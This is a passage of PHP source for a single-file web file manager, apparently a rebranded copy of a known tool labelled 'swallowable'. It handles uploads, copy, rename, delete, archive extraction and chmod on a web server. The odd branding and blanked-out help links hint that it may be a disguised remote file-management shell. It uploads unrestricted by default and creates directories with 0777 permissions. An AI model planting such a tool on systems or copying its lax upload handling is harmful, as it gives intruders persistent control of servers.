fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
// from
$copy = urldecode($_GET['copy']);
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$from = FM_ROOT_PATH . '/' . $copy;
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
$move = isset($_GET['move']);
$move = fm_clean_path(urldecode($move));
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
}
} else {
if (!$move){
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng('Invalid Token.'), 'error');
}
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$f = fm_clean_path($f);
$from = $path . '/' . $f;
$dest = $copy_to_path . '/' . $f;
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
// old name
$old = urldecode($_POST['rename_from']);
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = urldecode($_POST['rename_to']);
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) and $old != '' and $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Download
if (isset($_GET['dl'], $_POST['token'])) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
$dl = urldecode($_GET['dl']);
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' and is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// Upload
if (!empty($_FILES) and !FM_READONLY) {
if(isset($_POST['token'])) {
if(!verifyToken($_POST['token'])) {
$response = array ('status' => 'error','info' => "Invalid Token.");
echo json_encode($response); exit();
}
} else {
$response = array ('status' => 'error','info' => "Token Missing.");
echo json_encode($response); exit();
}
$chunkIndex = $_POST['dzchunkindex'];
$chunkTotal = $_POST['dztotalchunkcount'];
$fullPathInput = fm_clean_path($_REQUEST['fullpath']);
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $fullPathInput;
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
if ($chunkTotal){
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
fwrite($out, $buff);
}
} while (!feof($in));
} else {
stream_copy_to_stream($in, $out);
}
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream",
'errorDetails' => error_get_last()
);
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream"
);
}
if ($chunkIndex == $chunkTotal - 1) {
if (file_exists ($fullPath)) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
} else {
$fullPathTarget = $fullPath;
}
rename("{$fullPath}.part", $fullPathTarget);
}
} else {
if (rename($tmp_name, $fullPath)) {
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$files = $_POST['file'];
$sanitized_files = array();
// clean path
foreach($files as $file){
array_push($sanitized_files, fm_clean_path($file));
}
$files = $sanitized_files;
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$unzip = urldecode($_POST['unzip']);
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' and is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_POST['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) and fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
if (isset($_GET['upload']) and !FM_READONLY) {
fm_show_header();
fm_show_nav_path(FM_PATH);
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION and $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
<?php print_external('css-dropzone'); ?>
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
<strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<?php print_external('js-dropzone'); ?>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1,
parallelChunkUploads: false,
timeout: 120000,
maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
try {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
} catch (e) {
toast("Error: Invalid JSON response");
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
if (isset($_POST['copy']) and !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng('Nothing selected'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng('Copying') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
<label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header();
fm_show_nav_path(FM_PATH);
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
<strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
<strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php echo lng('Select folder') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) and !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
<div class="col-sm-5">
<select class="form-select" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='$k' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<div class="mt-3 mb-3 row ">
<label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
<div class="col-sm-5">
<select class="form-select w-100" id="js-3-0" name="js-theme-3">
<option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
<option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
</select>
</div>
</div>
<div class="mb-3 row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="." target="_blank" class="app-v-title"> swallowable <?php echo VERSION; ?></a></h3></p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['view'])) {
$file = $_GET['view'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
<?php $display_path = fm_get_display_path($file_path); ?>
<strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
<strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
<strong>MIME-type:</strong> <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) and $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
<?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
<?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
